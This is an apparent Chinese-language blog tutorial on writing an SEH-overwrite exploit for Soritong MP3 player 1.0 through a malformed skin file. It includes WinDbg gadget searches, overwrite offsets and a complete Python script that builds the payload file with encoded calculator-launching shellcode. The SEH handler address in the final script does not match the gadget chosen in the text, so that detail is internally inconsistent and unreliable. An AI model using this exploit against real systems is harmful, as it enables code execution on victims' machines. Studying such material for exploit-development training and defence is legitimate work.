exploit编写笔记2——基于SEH的exploit
这是exploit编写的第二篇笔记,基于SEH的exploit。SEH的原理在之前的文章中已经做了详细说明,这里不再赘述。这次的例子是Soritong MP3 player 1.0上的漏洞,程序下载:soritong10.exe。
这个漏洞指出一个畸形皮肤文件将导致溢出,我们用python创建一个ui.txt文件并放到skin\default文件夹下面:
file = "ui.txt"
junk = "A" * 5000
f = open(file,'w')
f.write(junk)
f.close()
打开soritong mp3,可以看到无声崩溃掉,使用windbg查看seh的prev和handler都被我们的’A’覆盖了。
当异常发生时,程序会跳转到SEH handler去执行,通过将这个handler的值设置为程序自带模块的一个pop/pop/ret地址,能够实现程序跳转到next seh pointer去,在next seh中需要做的就是跳转到shellcode执行。corelan的教程说的是造成一个二次异常,我觉得不是,就是简单的ret将next seh的值弹到了eip而已。shellcode的布局大致如下:
[junk][next seh][seh][shellcode]
next seh是一个跳转到shellcode的指令,seh是一个程序自带模块的p/p/r地址。
通过mona的pattern可以找到需要seh需要覆盖的偏移为588。一个short jmp机器码是eb,跟上跳转距离,跳过6字节的short jmp机器码为eb 06。所以使用0xeb,0x06,0x90,0x90覆盖 next seh。
查找pop pop ret指令
也就是说se handler在588个字节后被覆盖,next seh就在584个字节后被覆盖,
接着,我们找p/p/r地址
0:000> lm
start end module name
00400000 004de000 SoriTong C (export symbols) C:\Program Files\SoriTong\SoriTong.exe
010d0000 0111f000 DRMClien (deferred)
10000000 10094000 Player (deferred)
42100000 42129000 wmaudsdk (deferred)
5adc0000 5adf7000 uxtheme (deferred)
5bd10000 5bd50000 strmdll (deferred)
5d170000 5d20a000 COMCTL32 (deferred)
62c20000 62c29000 LPK (deferred)
0:000> s 10000000 10094000 5f 5e c3
1000e0d2 5f 5e c3 8b 47 78 85 c0-75 05 33 c0 5f 5e c3 8b _^..Gx..u.3._^..
1000e0de 5f 5e c3 8b 07 8b cf ff-10 8b f0 85 f6 7c 07 8b _^...........|..
1000e0f6 5f 5e c3 cc cc cc cc cc-cc cc 53 56 57 8b f1 55 _^........SVW..U
100106fb 5f 5e c3 cc cc 8b 44 24-08 8b 54 24 04 50 8b 49 _^....D$..T$.P.I
10010cab 5f 5e c3 cc cc 41 e8 6a-fe ff ff a8 01 74 05 d1 _^...A.j.....t..
100116fd 5f 5e c3 56 8b f1 8d 89-1c 8a 04 00 e8 82 74 ff _^.V..........t.
1001263d 5f 5e c3 55 8b ec 57 56-8b 75 0c 8b 7d 08 8b 4d _^.U..WV.u..}..M
100127f8 5f 5e c3 cc cc cc cc cc-8b 44 24 04 56 57 8b d0 _^.......D$.VW..
1001281f 5f 5e c3 cc cc cc cc cc-cc cc cc cc cc cc cc cc _^..............
10012984 5f 5e c3 cc cc cc cc cc-cc cc cc cc 8b 44 24 04 _^...........D$.
...
我们随便选一个如10012984.
这里再解释一下pop pop ret指令的作用,当异常发生的时候,异常分发器创建自己的栈帧,会奖EH handler成员压入新创的栈帧中,在EH结构中有一个域是EstablisherFrame。这个域指向异常注册记录(next seh)的地址并被压入栈中,当一个函数被调用的时候被压入的这个值都是位于ESP+8的地方。使用pop pop ret后,就会将next seh的地址放到EIP中。
最终的shellcode就是
junk:584字节 ‘A’
next seh:”\xeb\x06\x90\x90”
seh:”\x84\x29\x01\x10”
shellcode:完成功能的,随便找了一个弹计算器的
并且在最后加了一些垃圾数据
name = "ui.txt"
data = "A" * 584
nextseh = "\xeb\x06\x90\x90"
seh = "\xe8\x8d\x01\x10"
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x46\x42\x50\x5a")
junk2="\x90" * 1000;
data = data + nextseh + seh + shellcode + junk2
f = open(name,'w')
f.write(data)
f.close()
将ui.txt文件放在skin/default里面,再点击原程序,发现弹出了计算器。
blog comments powered by Disqus